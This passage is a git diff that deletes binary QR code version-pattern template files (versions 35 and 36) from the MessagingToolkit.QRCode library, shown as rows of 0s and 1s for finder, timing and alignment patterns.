-000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -010000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -010101100000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -111111100000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -100000100000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -101110100000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr35.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr35.dat deleted file mode 100644 index 82ba5bc..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr35.dat +++ /dev/null @@ -1,157 +0,0 @@ -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011101111111 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011001000001 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001101011101 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011001011101 -1011101000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000011001011101 -1000001000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000101000001 -1111111010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -0000000000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000000000000 -0000001000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1101101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1010011000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -1111111000000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -1000001000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -1011101000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr36.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr36.dat deleted file mode 100644 index 17f90b8..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr36.dat +++ /dev/null @@ -1,161 +0,0 @@ -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011001111111 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001000001 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101011101 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101011101 -10111010000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000101011101 -10000010000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000101000001 -11111110101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -00000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000000000000 -00000010000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 